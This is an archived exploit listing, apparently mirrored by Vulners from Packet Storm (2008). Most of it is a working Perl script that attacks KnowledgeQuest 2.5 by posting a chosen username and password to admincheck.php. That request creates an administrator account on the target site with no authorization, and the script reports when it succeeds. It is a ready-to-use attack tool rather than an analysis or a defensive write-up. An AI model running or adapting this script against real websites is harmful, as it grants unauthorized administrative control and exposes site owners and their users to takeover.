Lucene search

K

kq-admin.txt

๐Ÿ—“๏ธย 10 Apr 2008ย 00:00:00Reported byย t0pp8uzzTypeย 
packetstorm
ย packetstorm
๐Ÿ”—ย packetstormsecurity.com๐Ÿ‘ย 16ย Views

KnowledgeQuest 2.5 Arbitrary Add Admin - Discovered && Coded By t0pP8uzz - Craft evilpacket to add admin accoun

Show more

AI Insights are available for you today

Leverage the power of AI to quickly understand vulnerabilities, impacts, and exploitability

Code
`#!/usr/bin/perl  
  
use strict;  
use LWP::UserAgent;  
  
print "-+------------------------------------------+-\n";  
print "-+- KnowledgeQuest 2.5 Arbitrary Add Admin -+-\n";  
print "-+------------------------------------------+-\n";  
print "-+- Discovered && Coded By t0pP8uzz -+-\n";  
print "-+- This Exploit will craft a evilpacket -+-\n";  
print "-+- which will add a admin account -+-\n";  
print "-+------------------------------------------+-\n";  
  
print "Enter URL: ";  
chomp(my $url=<STDIN>);  
  
print "Enter Username (you will login with this): ";  
chomp(my $usr=<STDIN>);  
  
print "Enter Password (you will login with this): ";  
chomp(my $pwd=<STDIN>);  
  
my $ua = LWP::UserAgent->new( agent=> 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)' );  
my $res = $ua->post( $url."/admincheck.php", {'username' => $usr, 'password' => $pwd, 'repas' => $pwd} );  
  
if($res->is_success) {  
  
if($res->content =~ /taken by another user/i) { print "\n\nExploit Failed! Reason: username already taken!"; exit; }  
  
print "\n\nExploit Success! Login to ".$url."administratorlogin.php with username: ".$usr." and password: ".$pwd."\n";  
}  
  
  
`

Transform Your Security Services

Elevate your offerings with Vulners' advanced Vulnerability Intelligence. Contactย us for a demo andย discover the difference comprehensive, actionable intelligence can make in your security strategy.

Book a live demo
10 Apr 2008 00:00Current
7.4High risk
Vulners AI Score7.4
16
.json
Report